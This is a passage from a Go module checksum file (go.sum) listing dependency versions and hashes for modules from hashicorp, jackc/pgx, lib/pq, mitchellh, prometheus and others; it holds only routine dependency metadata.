v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA= github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE= github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s= github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o= github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY= github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI= github.com/jackc/pgconn v1.12.1 h1:rsDFzIpRk7xT4B8FufgpCCeyjdNpKyghZeSefViE5W8= github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono= github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE= github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE= github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c= github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= github.com/jackc/pgproto3/v2 v2.3.0 h1:brH0pCGBDkBW07HWlN/oSBXrmo3WB0UvZd1pIuDcL8Y= github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg= github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E= github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg= github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc= github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw= github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM= github.com/jackc/pgtype v1.11.0 h1:u4uiGPz/1hryuXzyaBhSk6dnIyyG2683olG2OV+UUgs= github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4= github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y= github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM= github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc= github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs= github.com/jackc/pgx/v4 v4.16.1 h1:JzTglcal01DrghUqt+PmzWsZx/Yh7SC/CTQmSBMTd0Y= github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ= github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jaswdr/faker v1.4.3/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= github.com/pelletier/go-toml v1.9.3/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= 